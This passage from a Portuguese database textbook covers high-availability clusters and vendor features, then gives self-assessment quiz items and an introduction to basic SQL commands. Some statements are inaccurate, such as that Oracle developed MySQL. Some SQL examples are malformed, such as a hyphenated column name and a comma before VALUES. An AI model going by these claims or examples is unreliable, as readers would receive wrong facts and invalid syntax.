rede do tipo SAN, que suportam gravações simultâneas. Contudo, esse
subsistema apresenta algumas desvantagens, já que, apesar de agregar
alta disponibilidade aos nós responsáveis pela operação do banco de
dados, de alguma forma acaba tornando o dispositivo de armazenamento
um ponto único de falha. Além disso, esse armazenamento é realizado
somente uma vez por cluster, podendo gerar uma perda total dos dados,
85
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

caso a falha ocorra antes que tudo seja salvo. Outra desvantagem é que
a falha de qualquer nó gera interrupção da sessão do usuário até que
a recuperação do cluster ocorra. Nesse caso, é necessário refazer o que
estava sendo inserido nesse banco no momento da interrupção. Além
disso, a forma como a gravação ocorre, paralelamente entre os nós, pode
danificar o código, tornando o banco não funcional.

• Cluster de banco de dados multimestre

Esse cluster geralmente é mais utilizado para sistemas de banco de dados


que, apesar de buscar alta disponibilidade, não têm o desempenho como um
requisito principal da operação. Nesses casos, considera-se que para a gravação dos
dados exige um pouco mais de esforço, por ser intermediada pelo replicador, antes
de ser gravada nos servidores, gerando menor desempenho durante o processo.

Portanto, funciona da seguinte forma: cada nó do cluster tem uma fonte


de armazenamento de dados persistente própria, em que as atualizações são
enviadas para um componente replicador, que recebe as informações e as reenvia
de forma imediata para todos os nós do cluster. Esse replicador é responsável
por qualquer atualização enviada e necessária para o conjunto de cluster pelo
replicador. Veja o funcionamento da estrutura na Figura 12.

FIGURA 12 – CLUSTER DE BANCO DE DADOS MULTIMESTRE

FONTE: Adaptada de Schmidt (2006)

Em caso de múltiplos clientes, os clientes que acessam as aplicações do


banco fazem isso de forma simultânea, a partir do replicador, realizando as
consultas e gravações de forma paralela. Entretanto, com o uso do replicador,
é possível lidar com o bloqueio das tabelas e dos registros, mantendo possível a

86
TÓPICO 2 — ALTA DISPONIBILIDADE, TRANSAÇÕES E CONCORRÊNCIA EM BANCO DE DADOS

atualização correta dos dados e o isolamento entre os nós. Contudo, o problema


de múltiplas solicitações, ao mesmo tempo que já ocorria no modelo que utiliza
o armazenamento compartilhado, ainda ocorre e somente poderá ser resolvido
com o uso de balanceamento de carga entre os nós.

De qualquer forma, esse modelo ainda sustenta a vantagem do


armazenamento em vários hosts independentes, aumentando a redundância das
informações, embora o replicador ainda seja um ponto único de falha – e sem ele, a
formação do cluster não é possível. Se, em alguma situação, o replicador apresentar
falha, apesar da redundância dos nós, o cluster estará fora de funcionamento
temporariamente, mas mantém os dados salvos nos múltiplos nós, já que todos
são considerados primários (master) e mantêm uma cópia atualizada dos dados.

• Clusters de banco de dados primário-secundário

Outra opção de cluster é a primário-secundário (master-slave), em que


um nó apenas é responsável por realizar a replicação dos dados, e os demais
realizam consultas e leitura dos dados gravados. Geralmente, é um modelo mais
utilizado quando o banco de dados não trabalha com gravações constantes, e
sim com leitura de dados constante. A replicação de dados primários para os
secundários não é realizada a cada alteração, e sim quando há uma confirmação
por parte dos secundários. Ela pode ocorrer de duas maneiras:

o Assíncrona: nesse caso, o primário somente replica as informações quando


algum cluster secundário solicita. Para aplicações em que os dados não
precisam estar, necessariamente, atualizados a todo o momento, essa
replicação se torna suficientemente satisfatória.
o Síncrona: esse modelo de sincronização ocorre em tempo real, sendo
utilizado geralmente para aplicações que não admitem tempo de
recuperação dos dados. No entanto, exige um maior desempenho do
banco, se comparado à replicação assíncrona, pois essa atualização e
replicação dos dados ocorre a todo mundo, mantendo um processamento
constante das informações, o que consome mais recursos computacionais.

FIGURA 13 – CLUSTER DE BANDO DE DADOS PRIMÁRIO-SECUNDÁRIO (MASTER-SLAVE)

FONTE: Adaptado de Schmidt (2006)

87
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

• Load balancing (balanceador de carga)

Assim como em todos os serviços para os quais é aplicado, o balanceamento


de carga no banco de dados funciona utilizando diversos nós – como ocorre em
um cluster failover ou de armazenamento compartilhado. Entretanto, ele processa
as solicitações de forma conjunta e distribuída, e aumenta a alta disponibilidade
do ambiente.

De acordo com Schmidt (2006), os clusters de banco de dados devem ser


combinados com as soluções de balanceamento de carga. Todavia, é necessário
para isso um suporte adicional no nível do sistema operacional, pois geralmente
os clusters de banco de dados não podem ser operados e divididos em vários
sites. Isso se dá em função de alguns problemas de rede a que ele pode estar
exposto, como confiabilidade da rede e latência, que pode se impor como um
grande problema durante a replicação, visto que a replicação dos nós é realizada
de forma síncrona.

4 SOLUÇÕES DE ALTA DISPONIBILIDADE E SUAS


FUNCIONALIDADES
Atualmente, estão disponíveis no mercado soluções de banco de dados de
diversos fornecedores. A maioria delas dispõe, de forma integrada, de recursos
que garantem a alta disponibilidade das suas ferramentas. Você verá agora as
soluções mais utilizadas, os seus aspectos e as funcionalidades com relação à
alta disponibilidade que oferecem, permitindo que estratégias sejam definidas e
alinhadas de acordo com o cenário de cada organização.

Vale salientar que nem todas as funcionalidades de alta disponibilidade são


encontradas em todas as versões disponíveis do software para cada fornecedor.
No entanto, você verá informações relacionadas às ferramentas de forma geral e
os recursos que cada fornecedor oferece, de acordo com Critchley (2014).

• SQL Server

O SQL é um sistema gerenciador de banco de dados relacional, criado


pela Sybase, em parceria com a Microsoft, que hoje mantém as atualizações e
o suporte da solução. É bastante utilizado para armazenamento e recuperação
de dados solicitados por outras aplicações mantidas no mesmo computador ou
utilizando recursos computacionais de forma isolada, sendo capaz de manter a
comunicação com o banco via internet.

O SQL Server fornece algumas alternativas de alta disponibilidade que


trabalham em conjunto com outros recursos de hardware e software a fim de buscar
esse objetivo. Veja os princípios básicos de alta disponibilidade considerados pelo
fornecedor, de acordo com Critchley (2014):

88
TÓPICO 2 — ALTA DISPONIBILIDADE, TRANSAÇÕES E CONCORRÊNCIA EM BANCO DE DADOS

o núcleo do Windows Server – suportado por uma implementação mínima


de Windows Server Core;
o operações on-line – suporte aprimorado a operações on-line;
o SQL Server no Hyper-V – suporte para instâncias do SQL Server
hospedadas no ambiente Hyper-V, permitindo a migração entre máquinas
virtuais sem adicionar nenhum tempo de inatividade;
o clusters – o cluster de failover do Windows fornece recursos para o
funcionamento do cluster do SQL; assim, as duas soluções funcionam de
forma integrada.

A seguir, conheça as soluções fornecidas com o objetivo de garantir a


disponibilidade a falhas que podem ocorrer.

• SQL Server Always On Solutions

Baseado na solução de alta disponibilidade Windows System Failover


Cluster para sistema operacional, fornece alta disponibilidade no nível da
instância e se refere a duas instâncias do mesmo banco de dados, rodando em
servidores diferentes, interligadas pelo mesmo storage, com armazenamento
compartilhado. Nesse caso, a instância de apenas um dos nós permanece ativa,
usando de forma exclusiva o dispositivo de armazenamento e atendendo a todos
os outros servidores do cluster.

• Instâncias de cluster de failover

Esse é um aprimoramento do recurso de clustering de failover do SQL


Server que permite agrupamento de sub-rede, permitindo failover entre múltiplas
instâncias do SQL Server e reestabelecendo o funcionamento de forma mais
rápida.

• Grupos de disponibilidade

Recurso disponível a partir do SQL 2012, ele garante a disponibilidade


dos dados sem perda de dados, utilizando a movimentação de dados baseada
em log. Permite que haja múltiplas cópias do banco, espalhadas por servidores
secundários, denominados réplicas, de acordo com Bastos (2015).

• Envio de logs (log shipping)

Outra solução de alta disponibilidade do SQL é o log shipping. Conforme


afirma Bastos (2015), é utilizado para manter a base do servidor secundário
atualizada, mas que garante somente o failover de forma manual. Isso pode ser
pouco efetivo para alguns ambientes que exigem agilidade quando se trata da
substituição de um servidor pelo outro, mantendo o funcionamento constante do
banco de dados.

89
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

• Espelhamento de banco de dados (database mirroring)

Reserva duas cópias de um único banco em instâncias diferentes,


armazenadas em servidores distintos. Nesse caso, uma das instâncias atua
atendendo às solicitações dos clientes, e a instância secundária se mantém em
espera no modo hot standby, suportando um failover rápido, caso necessário. Esse
recurso pode ser considerado mais avançado em relação ao log shipping, visto que
permite que o failover seja realizado de forma automática.

• MySQL

O MySQL é um sistema de gerenciamento de banco de dados relacional


criado em 1995, baseado na linguagem SQL. Ele foi desenvolvido pela Oracle e
é considerado o mais utilizado atualmente, sendo um sistema de código aberto
usado por diversas aplicações gratuitas para administrar as suas bases de dados.

O MySQL possui uma solução denominada MySQL Cluster, um banco


de dados distribuído de alta disponibilidade que foi projetado para atender a
aplicativos de missão crítica. Conforme descreve Bastos (2015), essa solução tem o
objetivo de fornecer capacidade de failover de forma automática, mantendo os dados
disponíveis na maior parte do tempo possível. Ela usa uma estratégia em que cada
nó possui os seus próprios recursos de armazenamento, memória e processamento,
em vez de compartilhar os dados em um único dispositivo de storage.

O MySQL oferece modos de replicação síncrona e assíncrona, como ocorre


no uso de basicamente todas as soluções de banco de dados. Além disso, o modo de
replicação semissíncrona retorna apenas uma confirmação, quando um servidor
secundário (slave) receber qualquer atualização vinda de um servidor principal.
O MySQL Cluster é o banco de dados distribuído que combina escalabilidade
linear e alta disponibilidade. Ele fornece acesso em tempo real na memória, com
consistência transacional entre conjuntos de dados particionados e distribuídos,
tendo sido projetado para aplicativos de missão crítica.

Nas palavras de Critchley (2014), a partir da sua versão 5.6, o MySQL


oferece recursos de alta disponibilidade e melhor desempenho utilizando
múltiplos servidores secundários, recursos baseados em replicação, recuperação
de desastres e falhas, integridade de dados, menor tempo de replicação e o
uso de servidores secundários que garantem a disponibilidade dos serviços. O
MySQL também possui um recurso de replicação de dados em que um servidor
atua como primário, e os demais, como secundário: “O master grava em um log
binário de alteração todos os comandos de atualizações da base de dados. Desta
forma, todas as alterações ocorridas no master são imediatamente replicadas para
os outros servidores slave [...]” (VIANA, 2011, s. p.).

Veja algumas das vantagens do uso desse modelo:

90
TÓPICO 2 — ALTA DISPONIBILIDADE, TRANSAÇÕES E CONCORRÊNCIA EM BANCO DE DADOS

o não exige grande largura de banda para realizar as sincronizações, que


podem ser feitas quando necessário, e por isso permite que o primário e o
secundário trabalhem longe um do outro;
o torna a consulta distribuída pelo fato de as informações estarem
armazenadas em todos os servidores;
o se o servidor primário falhar, um dos servidores secundários toma o seu
lugar.

• IBM DB2

O IBM DB2 foi criado pela IBM para armazenar, gerenciar, analisar e
recuperar sistemas de banco de dados relacionais. De acordo com a Tutorialspoint
(2020), inicialmente foi projetado para o uso na sua plataforma específica, mas
posteriormente estendeu a sua utilização, possibilitando que fosse implementada
em qualquer sistema operacional, como Windows, Linux e plataformas Unix.
O funcionamento do IBM DB2 permite a sua integração com o software de
gerenciamento do cluster e se resume em dois modos de operação, que dependem
diretamente do sistema operacional que está sendo executado:

o o DB2 é dependente do sistema operacional, sendo o modo utilizado para


integração com o Microsoft Cluster Server do Windows, o Sun cluster da
Solaris, o Service Guard da HP, entre outros;
o o DB2 é independente do sistema operacional, sendo capaz de fornecer
recursos mais sofisticados e suportar software de gerenciamento independente
de sistema operacional, como Tivoli SA MP e Veritas Cluster Server.

Por fim, o IBM DB2 garante alta disponibilidade para ambientes que
enfrentem falhas parciais ou completas, enviando logs de forma contínua para o
banco de dados. Este funciona como primário, e o servidor principal é responsável
pelo armazenamento dos dados, replicando-os para os bancos, que funcionam
como standby quando o banco primário se torna indisponível. Dessa forma,
pode-se garantir que os demais bancos em espera possam assumir o papel do
banco principal automaticamente, quando for necessário, fornecendo capacidade
de failover de forma rápida e sem impactar o desempenho da operação. Além
disso, a ferramenta é de configuração simples, apresentando funcionalidades
de monitoramento e garantindo que atualizações sejam realizadas a qualquer
momento, sem atingir qualquer tempo de inatividade para aplicativos em
execução que estejam consultando ou adicionando conteúdo ao banco.

• Oracle Sun

O Oracle é um banco de dados de única instância e sem redundância,


mas o próprio fornecedor oferece uma gama de recursos para manter a alta
disponibilidade do banco de dados. Ele pode ser utilizado em qualquer arquitetura
do seu banco. Veja a seguir alguns desses recursos de alta disponibilidade:

91
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

o Gerenciamento de armazenamento automático – solução que implementa a


tolerância a falhas e aumenta o desempenho nas tarefas de armazenamento
dos bancos de dados Oracle.
o Oracle Flashback – utilizada na otimização e no reparo de falhas lógicas,
permite alocar espaço em disco e banda suficiente para a área de
recuperação flash utilizada para armazenar backups locais, conforme a
recomendação da Oracle para garantir a segurança dos dados.
o Gerenciador de recuperação – otimiza o reparo local de falhas de dados.
o Data Recovery Advisor – fornece opiniões e dicas para facilitar reparos no
banco de dados, quando necessário.
o Patch on-line – permite aplicar correções e executar diagnósticos de forma
automática.

Esses são os recursos principais oferecidos, mas o banco de dados da


Oracle fornece diversas outras soluções de alta disponibilidade.

• NoSQL

NoSQL é o termo genérico que se refere aos bancos de dados não relacionais,
ou seja, aqueles que, diferentemente dos outros bancos de dados citados, não
mantêm relação entre os dados que armazenam. Com uma arquitetura distribuída
e tolerante a falhas, eles mantêm os dados em vários servidores, com o intuito de
manter a sua redundância, podendo ser expandido a qualquer momento, com a
adição de outros servidores, e capaz de gerenciar diversos servidores.

Esse tipo de banco de dados foi criado para permitir o gerenciamento


de grandes volumes de dados que necessitam de alta disponibilidade e
escalabilidade, possibilitando a replicação de forma nativa e diminuindo o
tempo gasto para recuperação de informações. Segundo Alves (2016), os bancos
de dados NoSQL oferecem maior escalabilidade do que os bancos de dados
relacionais, principalmente com relação ao uso de ambientes clusterizados. Além
disso, bancos de dados NoSQL oferecem arquiteturas eficientes de replicação de
dados, garantindo um tempo maior de disponibilidade.

92
RESUMO DO TÓPICO 2
Neste tópico, você aprendeu que:

• Manter uma única instância é o principal risco para a disponibilidade do


banco de dados.

• O cluster se torna mais eficiente quando mantém armazenamento independente


para cada nó, fugindo, assim, do ponto único de falha.

• Em um banco de dados, a gravação síncrona é ideal para bancos que


sofrem alterações constantes; já para bancos mais voltados para consultas,
atualizações constantes não são tão necessárias.

• Dados armazenados localmente também apresentam grande risco à


disponibilidade, porém o modo semissíncrono não está disponível em todas
as soluções. Por isso, é mais adequado, para consulta e análise de dados
constantes, utilizar o modo assíncrono de dados.

• A redundância é considerada uma solução, e não um risco, assim como o


balanceamento de carga.

• A exclusão dos dados, assim como a gravação, é considerada alteração na


base, sendo necessária a sincronização para gravação dessas alterações.

• O uso de um replicador é mais eficiente do que de um cluster que utiliza


armazenamento compartilhado, mas ainda pode ser considerado um ponto de
falha caso o problema ocorra nesse dispositivo antes da replicação, causando
a falha por perda de dados.

• Um cluster serve para que, mesmo com qualquer falha operacional ocorrendo,
o banco de dados continue disponibilizando os dados para as aplicações,
evitando que pontos únicos de falhas existam nesse sistema, com a aplicação
de redundância.

• Quando o desempenho se torna muito baixo, fazendo com que as tarefas


sejam impossíveis de serem executadas, pode ser considerada uma situação
de indisponibilidade parcial.

• As tecnologias de cluster e balanceamento de carga podem ser combinadas,


tornando a disponibilidade do banco de dados ainda mais evidente.

• Um banco de dados geralmente trabalha com uma única de forma nativa,


e, por isso, é importante que tecnologias e soluções de alta disponibilidade
sejam consideradas para esses serviços serem mantidos em funcionamento
pelo maior tempo possível.

93
• O cluster primário-secundário (master-slave) é mais utilizado em aplicações
voltadas para consulta de dados, em que o nó mestre centraliza as informações
e os demais realizam as consultas, e os dados são sincronizados somente
quando necessário, mantendo o modo assíncrono na maior parte do tempo.

• O cluster primário-secundário (master-slave) funciona com o mestre controlando


a replicação e os demais realizando as operações.

• O planejamento de manutenções, dimensionamento e otimizações do


ambiente é necessário para evitar indisponibilidade não planejada no caso de
imprevistos durante esses processos.

• O backup de dados frequente garante que os dados não sejam perdidos em


caso de falhas, mas não garante que essas falhas não ocorram.

• Versões gratuitas e não licenciadas geralmente oferecem recursos limitados;


dessa forma, nem todas as necessidades podem ser atendidas em um sistema
de banco de dados.

• Do mesmo modo, atualizações são recomendadas para garantir que todas as


funcionalidades do banco de dados sejam mantidas.

• O espelhamento do SQL garante que duas cópias da mesma instância


sejam salvas em dois servidores diferentes, garantindo a redundância e,
consequentemente, a disponibilidade.

• O MySQL garante que os nós utilizem dispositivos individuais para


armazenamento, o que também funciona de maneira muito eficiente.

• O IBM D2 oferece suporte para diversos sistemas, com oferta de monitoramento


constante, mas inicialmente foi projetado para suportar somente a plataforma
do próprio fabricante.

• O recurso da Oracle que permite a execução de diagnósticos de forma


automática é o patch on-line; já o flashback permite alocar espaço do disco
como memória flash para armazenamento e recuperação de backup.

• NoSQL são bancos não relacionais, enquanto os demais são considerados


relacionais; esse modelo oferece arquitetura distribuída tolerante a falhas.

• O comando BEGIN inicia uma transação. Logo após ele, deve vir o comando
de execução de uma ou mais operações e, por fim, deve vir o comando
COMMIT, que sinaliza a confirmação da operação para o SGBD.

94
AUTOATIVIDADE

1 Para garantir a redundância das informações armazenadas em banco de


dados, é necessário tomar uma série de decisões. Por isso, após o levantamento
de riscos, estes devem ser tratados de forma correta. Considerando essas
informações, com relação a ambientes de alta disponibilidade em banco de
dados, analise as sentenças a seguir:

I- Quando se utiliza cluster, não é permitido balanceamento de carga.


II- Um cluster de banco de dados promove alta disponibilidade e tem o
poder de continuar se comunicando com as aplicações e os serviços por
meio de qualquer nó disponível quando uma falha ocorre.
III- Em geral, um sistema de banco de dados tem como característica nativa
a alta disponibilidade, não sendo necessária a aplicação de técnicas para
garantir essa característica.
IV- Pontos únicos de falhas (single point of failure) são os principais riscos da
alta disponibilidade.
V- Quando o desempenho apresenta níveis muito baixos, pode ser considerado
como indisponibilidade, pois, mesmo que não haja interrupção do serviço,
os usuários ficam impedidos de realizar consultas e manipulação de dados.

Assinale a alternativa CORRETA:


a) ( ) As sentenças II, IV e V estão corretas.
b) ( ) As sentenças I, IV e V estão corretas.
c) ( ) As sentenças II, III e V estão corretas.
d) ( ) As sentenças III, IV e V estão corretas.

2 Sobre as técnicas para alta disponibilidade de bancos de dados, assinale a


alternativa CORRETA:

a) ( ) O Cluster de banco de dados com armazenamento compartilhado é


adequado para cenários onde o tempo de espera para restabelecer o
serviço após falhas pode ser de várias horas.
b) ( ) O Cluster de banco de dados multimestre é adequado para cenários
que demandam alto desempenho computacional.
c) ( ) O cluster primário-secundário (master-slave) é mais utilizado em
aplicações voltadas para consulta de dados, em que o nó mestre
centraliza as informações e os demais realizam as consultas, e os dados
são sincronizados somente quando necessário, mantendo o modo
assíncrono na maior parte do tempo.
d) ( ) O balanceamento de carga é a solução mais viável para alta
disponibilidade de bancos de dados pois precisa apenas um nó.

95
3 Os riscos e ameaças à disponibilidade de um banco de dados podem ser de
origens diversas. Podem ser causados por falhas humanas, operacionais,
físicas ou simplesmente por falta de recursos adequados, gerando de
pequenos conflitos no sistema até grandes prejuízos ao negócio. Sabendo
disso, classifique V para as sentenças verdadeiras e F para as falsas:

( ) Atualizações em banco de dados geralmente causam problemas de


disponibilidade quando aplicadas e não são recomendadas pelo
fornecedor.
( ) Manutenções no ambiente são necessárias, mas podem ser um risco
para a disponibilidade do banco de dados caso não exista um plano de
contingência e redundância, como um sistema de cluster aplicado.
( ) Dimensionamento de banco de dados deve ser devidamente planejado
quando houver necessidade de adicionar novos recursos, evitando a
indisponibilidade por longo período de tempo.
( ) Versões gratuitas de software são tão confiáveis quanto versões pagas,
contendo os mesmos recursos e não gerando risco de indisponibilidade
por qualquer função que não esteja contida nesse tipo de licença de uso.
( ) Backups de dados trazem segurança às informações, mas ainda não
garantem a disponibilidade do banco de dados, pois a restauração dos
dados pode levar algum tempo, fazendo com que o reestabelecimento do
banco não seja imediato.

Assinale a alternativa que apresenta a sequência CORRETA:


a) ( ) V – V – V – F – F.
b) ( ) F – F – F – V – V.
c) ( ) V – V – V – F – V.
d) ( ) F – V – V – F – V.

4 Sabendo que diversas soluções estão disponíveis no mercado, objetivando


a busca da alta disponibilidade em banco de dados, acerca de suas
características, analise as sentenças a seguir:

I- O SQL Server dispõe de uma técnica denominada espelhamento, que


permite que duas cópias de um único banco sejam mantidas em instâncias
diferentes em servidores diferentes, o que garante a disponibilidade de
forma eficiente.
II- O MySQL Server oferece uma solução altamente recomendada para
ambientes de missão crítica, pois cada uma dispõe de seu próprio
dispositivo de armazenamento sem compartilhar os dados, garantindo
maior redundância.
III- O IBM DB2 foi projetado para oferecer suporte a diversos sistemas e tem
funcionalidades de monitoramento que garantem atualizações sem gerar
tempo de inatividade ao banco.
IV- O Oracle Flashback é um recurso que permite a execução de diagnósticos
em tempo real de forma automática.

96
V- NoSQL são bancos não relacionais como todos os outros citados nas
alternativas anteriores, mas apresentam arquitetura distribuída, sendo
mais tolerantes a falhas.

Assinale a alternativa CORRETA:


a) ( ) As sentenças I, II e III estão corretas.
b) ( ) As sentenças I e II estão corretas.
c) ( ) As sentenças I, II e V estão corretas.
d) ( ) As sentenças I, III e V estão corretas.

97
98
TÓPICO 3 —
UNIDADE 2

LINGUAGEM SQL BÁSICA E SQL INJECTION

1 INTRODUÇÃO
A Structured Query Language (SQL) é uma linguagem de consulta
estruturada, pela qual é possível realizar diferentes tipos e formas de consultas,
utilizadas para recuperar informações em um banco de dados. Também pode ser
aplicada para a definição, a manipulação e as atualizações de dados.

Os bancos de dados relacionais utilizam Sistemas de Gerenciadores de


Banco de Dados (SGDB), a fim de facilitar a sua manipulação. Esses SGBDs,
por sua vez, utilizam uma linguagem de consulta estruturada: a SQL. Por meio
da SQL, é possível criar tabelas, gerenciar relações, incluir atributos e também
restringir dados que não podem ou não devem ser inseridos nas tabelas, entre
outras funções. Por este motivo, a SQL é considerada a linguagem padrão de
manipulação de banco de dados relacionais.

Um grande número de restrições (constraints) é criado sobre os valores a


serem inseridos e armazenados em um estado do banco de dados. Essas restrições
podem ser divididas em três grupos principais: as que são inerentes ao modelo
de dados, as que podem ser definidas diretamente nos esquemas do modelo de
dados e as que não podem ser definidas diretamente nos esquemas do modelo de
dados e, por isso, são impostas pelos programas de aplicação. As restrições podem
ser especificadas quando a tabela é criada, com a instrução CREATE TABLE, ou
após a tabela ser criada, com a instrução ALTER TABLE. A seguir, você verá uma
representação gráfica das restrições utilizadas em SQL.

FIGURA 14 – RESTRIÇÕES UTILIZADAS EM SQL

99
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

FONTE: O autor

100
TÓPICO 3 — LINGUAGEM SQL BÁSICA E SQL INJECTION

O cuidado com a construção das tabelas de um banco de dados SQL


reflete em sua eficiência e usabilidade quando estiver pronto. Por este motivo, é
importante conhecer as possibilidades de definições e restrições de atributos que
podem ser utilizadas em SQL na criação e na alteração das tabelas.

A seguir, você vai conhecer o caso de uma clínica de fisioterapia que


utilizou SQL para criar as tabelas do seu banco de dados, por meio de restrições.

FIGURA 15 – RESTRIÇÕES EM SQL NA KHORPUS TERAPIA

101
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

102
TÓPICO 3 — LINGUAGEM SQL BÁSICA E SQL INJECTION

FONTE: O autor

Neste tópico, você conhecerá os conceitos principais das instruções SQL,


como criação e atualização de tabelas e definição de restrições na alimentação de
um banco de dados.

103
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

2 LINGUAGEM SQL BÁSICA


A SQL é uma linguagem abrangente, pois possui instruções para
definição, consulta, atualização e eliminação de dados. Por esse motivo, ela pode
ser considerada uma linguagem de definição de dados (DDL, do inglês data
definition language), uma linguagem de manipulação de dados (DML, do inglês
data manipulation language), uma linguagem de controle de dados (DCL, do inglês
data control language) ou uma linguagem de controle de transações (TCL, do inglês
transactional control language). A SQL possibilita definir visões em um banco de
dados, a fim de especificar aspectos de segurança e autorização, definir restrições
de integridade e especificar o controle de transação de dados. A SQL também
possui regras para embutir suas instruções em uma linguagem de programação,
como Java (ELMASRI; NAVATHE, 2011). De acordo com Ramarkrishnan e
Gehrke (2011), o subconjunto da SQL chamado DDL suporta criação, exclusão
e modificação de definições das tabelas e visões, por meio de comandos como
ALTER, CREATE, DROP, RENAME, DISABLE TRIGGER, ENABLE TRIGGER,
COMMENT e TRUNCATE TABLE. Já o subconjunto DML permite que os usuários
formulem consultas e insiram, excluam e modifiquem tuplas.

Para isso, utilizam-se comandos como SELECT, INSERT, UPDATE e


DELETE. Já a DCL é utilizada para controlar o acesso e gerenciar permissões de
usuários em bancos de dados. Alguns exemplos de comandos utilizados nesse
caso são: GRANT, REVOKE e DENY. Por fim, o subconjunto TCL é utilizado para
gerenciar mudanças feitas por instruções em DML, o que possibilita agrupar
declarações em transações lógicas. Para isso, pode-se usar COMMIT (salva
permanentemente uma transação no banco de dados) e ROLLBACK (restaura o
banco de dados para o último estado do comando COMMIT).

A linguagem SQL padrão utiliza a palavra tabela para identificar uma


relação, enquanto as linhas são as tuplas ou os registros das tabelas de dados,
e as colunas são os campos ou os seus atributos. Na DDL, a instrução CREATE
TABLE é empregada para criar uma nova tabela, enquanto as linhas são inseridas
por meio do comando INSERT; com a cláusula INTO, são apontadas as colunas
nas quais os valores serão inseridos, conforme lecionam Ramarkrishnan e Gehrke
(2011). Para compreender melhor essas cláusulas, verifique os exemplos a seguir.

Criação da tabela Estudantes com definição de atributos:

CREATE TABLE Estudantes( id-aluno CHAR(20), nome VARCHAR(30),


login VARCHAR (20),
idade INTEGER
);
Inserção de dados na tabela Estudantes:
INSERT
INTO Estudantes (id-aluno, nome, login, idade), VALUES (53456,
‘Beto’, ‘’, 19);

104
TÓPICO 3 — LINGUAGEM SQL BÁSICA E SQL INJECTION

Perceba que os atributos do exemplo são criados com a definição do tipo


de dado, bem como de seu tamanho. Ao se inserir valores na tabela Estudantes,
eles são organizados na mesma ordem em que foram criados, a fim de que a
tabela seja alimentada corretamente. Geralmente, o esquema SQL no qual as
relações são declaradas é especificado de forma implícita na criação das tabelas.
Contudo, é possível conectar de forma explícita o nome do esquema com o nome
da relação, separando-os com um ponto, conforme o exemplo a seguir:

CREATE TABLE Escola.Estudantes...

Em vez de:

CREATE TABLE Estudantes…

O CREATE é o principal comando SQL para a criação de tabelas, mas


também pode ser utilizado para a criação de esquemas e domínios. Dessa forma,
o comando CREATE TABLE é empregado para especificar uma nova relação.
Esta precisa ter um nome definido, bem como especificados os seus atributos e as
possíveis restrições. Primeiramente, especificam-se os atributos, com a definição
de um nome para cada um deles e um tipo de dados, conforme pode ser visto no
primeiro exemplo da criação da tabela ‘Estudantes’. Na mesma cláusula CREATE
TABLE, pode ser definido o domínio de valores e restrições dos atributos, como o
fato de serem obrigatórios e não poderem ficar em branco (NOT NULL). As restrições
de chave e de integridade, tanto de entidade quanto referencial, também podem ser
incluídas nessa cláusula. Caso a tabela criada necessite ser alterada posteriormente,
pode ser utilizado o comando ALTER TABLE (ELMASRI; NAVATHE, 2011).

Entre as principais instruções DML em SQL, estão: SELECT, INSERT,


UPDATE e DELETE. A instrução SELECT seleciona registros e campos específicos
em um banco de dados. Já a instrução INSERT é utilizada para a inclusão de
novos valores a atributos do banco de dados. Por meio da instrução UPDATE, os
valores de atributos são atualizados, e utilizando-se DELETE, são apagados do
banco de dados (ELMASRI; NAVATHE, 2011). Em toda consulta, é necessário que
se tenha uma cláusula SELECT com a especificação das colunas que devem ser
mantidas no resultado, bem como uma cláusula FROM para indicar o produto
cartesiano das tabelas. Nesse caso, a cláusula WHERE pode ser opcional, pois é
utilizada para refinar a consulta.

Para Ramarkrishnan e Gerhrke (2011), a forma básica de uma consulta


SQL é a seguinte:

SELECT [DISTINCT] <lista-seleção> FROM <lista-from>


WHERE <qualificação>

105
UNIDADE 2 — RECUPERAÇÃO DE BANCO DE DADOS, DISPONIBILIDADE E LINGUAGEM SQL

Assim, a cláusula SELECT consulta os nomes de colunas das tabelas


presentes na lista-from, e a cláusula FROM busca uma lista com os nomes de
tabelas. Já a qualificação realizada na cláusula WHERE é uma expressão que se
utiliza dos conectivos ou operadores lógicos NULL, AND, OR e NOT (“nulo”, “e”,
“ou” e “não”, respectivamente) para realizar uma seleção dos dados presentes na
tabela consultada (RAMARKRISHNAN; GEHRKE, 2011).

De acordo com Pires (2017), a DCL controla aspectos de autorização de


dados, bem como licenças de usuários, a fim de controlar quem pode ter acesso
para ver ou manipular os dados de um banco de dados. Dessa forma, são os
comandos que possibilitam gerenciar a segurança dos dados armazenados, por
meio de níveis de acesso e de privilégios para os usuários do banco de dados. Os
comandos DCL mais comuns nos SGBDs são:

• GRANT, que autoriza privilégios aos usuários, para executarem comandos,


consultas e alterações nos dados armazenados; e
• REVOKE, que basicamente revoga os privilégios concedidos ao usuário pelo
comando anterior.

A seguir, são apresentados dois exemplos, um autorizando acesso ao


banco de dados e outro revogando o acesso (PIRES, 2017). Exemplo de GRANT:

GRANT create _ table TO usuario _ teste;

Exemplo de REVOKE:

REVOKE create _ table FROM usuário _ teste;

No primeiro exemplo, é autorizado que usuario_teste tenha acesso ao


comando de criar tabelas. Já no segundo exemplo, o privilégio da criação de
tabelas é retirado.

Um esquema em SQL possui um nome de esquema e um identificador


de autorização, para indicar seu usuário ou proprietário, além de descritores
de cada elemento. Entre esses elementos estão tabelas, restrições, visões (views),
domínios, entre outras informações que descrevem o esquema. O esquema é
criado pelo comando CREATE SCHEMA, que pode incluir todas as definições
dos elementos do esquema (ELMASRI; NAVATHE, 2011). Para Watson (2010),
um esquema é criado quando uma conta de usuário do SQL é criada; por isso, ele
consiste em objetos que pertencem à conta. No exemplo a seguir, é apresentada
a instrução SQL de criação de um esquema chamado ESCOLA, que pertence ao
usuário ‘Amenezes’ (ELMASRI; NAVATHE, 2011).

CREATE SCHEMA ESCOLA AUTHORIZATION ‘Amenezes’;

106
TÓPICO 3 — LINGUAGEM SQL BÁSICA E SQL INJECTION

De forma geral, nem todos os usuários do banco de dados são autorizados


a criar esquemas. O privilégio para criar esquemas, tabelas e outras construções
do banco de dados deve ser concedido pelo seu administrador (ELMASRI;
NAVATHE, 2011).

